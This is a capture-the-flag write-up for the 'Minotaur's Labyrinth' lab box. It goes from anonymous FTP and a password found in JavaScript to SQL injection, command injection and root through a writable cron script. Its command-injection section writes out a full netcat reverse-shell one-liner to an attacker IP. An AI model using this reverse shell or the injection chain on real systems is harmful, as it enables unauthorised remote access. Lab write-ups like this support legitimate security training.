# Minotaur's Labyrinth

## Flag 1&#x20;

Let's begin with a basic nmap scan

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2F4K561EpGPYqd50hyLjBS%2Fimage.png?alt=media\&token=f4f61f5d-efdf-4a56-8473-782988397898)

A more detailed scan:

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2FlW00o0xliMKpQyhdb7GE%2Fimage.png?alt=media\&token=6938dc0d-2fa1-4d82-b45f-5b0c6d0bc9e6)

We see there are a few open ports, let's start digging the ftp one since we have anonymous access

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2FU9aejfbuuk3u3UJ7C16o%2Fimage.png?alt=media\&token=048e80e4-53e7-4672-872d-26fbc7bd15ff)

We can see a public folder named "pub", let's see whats inside and download its content

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2FuNoDe6oXSQZYRxE2v9Jf%2Fimage.png?alt=media\&token=ebc4363c-62dd-4db8-ac94-366d2230dd8d)

We couldn't download the .secret file because it's actually a folder

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2Fi4fBdUiTMCZj6iyD18ZN%2Fimage.png?alt=media\&token=339384ee-e4cf-4f81-a7ae-96517c7e3d15)

Let's download everything and take a look at the messages

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2Fc5rxoeS79TtSCPI5GI8q%2Fimage.png?alt=media\&token=17249bdf-3ea5-4a93-87b2-2928098a3d6f)

We found the first flag and a couple messages. The first one tell us someone likes to keep things on a timer (cronjobs??) and the second one basically tell us to look everywhere. Nice info.

## Flag 2

After taking a look at the ftp port let's head into port 80 and see what we can find. At first we can only see a login portal.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2FYuSJTNj6R41OlFnJVlC3%2Fimage.png?alt=media\&token=f0b8a67d-4853-4806-9654-0eed773b462a)

What if we try to retrieve informationg using the "Forgot Password" feature?

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2FVJOieEdZaBd3ELC3Rs22%2Fimage.png?alt=media\&token=34be9766-c171-428b-977a-ac99aef3a070)

Apparently it won't be that easy so next step is looking at the source code and see if we find anything interesting. In the source code we find a javascript file named "login.js" if we open it we can see something juicy.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2FcRRU1HGcYPv25xvakKvj%2Fimage.png?alt=media\&token=6fd2b898-89c0-4554-9b32-9cce9e36b644)

We can write a script to generate the password for Daedalus

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2FNINeJPD2xk1gj8JSSXtl%2Fimage.png?alt=media\&token=9d1f8486-fecc-4cb8-9ac7-f1c2c37f1952)

Now let's try to log in with the generated password

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2FKwZtN2jy7xIfBtc7AEzt%2Fimage.png?alt=media\&token=c0e65ea1-7629-4426-b8ce-fe6abf59255c)

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2FSuMKaCbc2gx9p5TWZQde%2Fimage.png?alt=media\&token=32686862-9af9-4fea-9d20-163d2e57ab42)

We had success login to the portal. Taking a look we can see a search field that allows to search people and creatures. Let's try looking for Daedalus.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2Fx1ivZcZahDbGZdIO5Bcz%2Fimage.png?alt=media\&token=9b33bde1-6504-415c-8d61-c9973186d910)

We get the user and the password. But we don't know any more users, let's take a look at the source code.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2F0Aqtt6FnQXh0tpykGpNv%2Fimage.png?alt=media\&token=b3a0ee40-29b0-410f-a32f-c00ddf5324dd)

We found a comment saying something about the permissions. Let's see if the field is vulnerable to SQLi

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2FJBDlJDGcYfI2HoiPKf9d%2Fimage.png?alt=media\&token=8eac7c39-4de5-4884-af89-3f4b32c30077)

After several failed tries we finally got the right payload and we retrieved the password hash for the user M!n0taur

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2FHcslmDkpRNlhnspikZLC%2Fimage.png?alt=media\&token=2816f464-cfce-49fc-994c-845e05ae9394)

Let's crack the hash and log in to the new account

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2FAn0pu4vYRzo9r8nTH3EB%2Fimage.png?alt=media\&token=6f72c624-010f-4352-811a-1ad6ced8f59d)

We can see the second falg in the top navbar

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2FhG64SDnURySXBEphFhve%2Fimage.png?alt=media\&token=dce9f1e6-642e-4739-9ba4-936cc02651b1)

## User Flag

If we access to the "Scret\_Stuff" folder we see a text field that will echo everything we write.&#x20;

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2FzwqGjiC6xsuyB2bw16Rm%2Fimage.png?alt=media\&token=90bdf8d2-b8ba-482a-bcc9-78daded78dd1)

Let's try to scape the echo command with a basic " | whoami"

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2F2K1gE9cpsmOk3mPeizMM%2Fimage.png?alt=media\&token=7ec394e0-f444-4034-b99e-f354a9bc46b0)

We were able to escape the command, now we can try to get a rev shell using base64 encoding

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.9.211.205 9001 >/tmp/f
```

We have to remove the "=" symbol to be able to get a reverse shell (based on the hint given in the box).

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2FupwoZLCCaYI6zGAlepLj%2Fimage.png?alt=media\&token=447e9de6-538b-4711-b264-803d7b895754)

Don't forget to start a listener.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2FZeSW65Zugs6rwJZF3bQI%2Fimage.png?alt=media\&token=62c68209-4d66-45c4-812a-909793976deb)

We're in, let's get the user flag.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2Fzby4ryq0LEQZFARwjXAA%2Fimage.png?alt=media\&token=b48e5041-16b5-498b-8c36-2c38324efa21)

## Root Flag

After getting the user flag we just have to look around the box. We see uncommon folders in the / folder, remember one of the messages we downloaded in the beginning said someone likes to use timers and we see there's a "timers" folder, so let's head to that one.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2FY0WcdLQ6dI9QNRVwkAJI%2Fimage.png?alt=media\&token=d36ab8ba-3545-480f-a69f-b9de5d276572)

We see there's a filed named "timer.sh" that can be writteng by our current user. Since the name is "timer" we're guessing it's a cronjob. Let's edit the content of the file with a reverse shell.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2FOPIBLMEreDIXPtZBDf0Z%2Fimage.png?alt=media\&token=0e4bbcac-0faf-4480-870d-0c4b779b4a68)

Let's save the changes and start a listener on port 9002

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRAxN9CViftWZf4UkUS%2Fuploads%2FBlDdbtZQ9HdMDKrTRSH2%2Fimage.png?alt=media\&token=ef8bb20e-12f3-49c5-9d99-f559237b1958)

We got root.
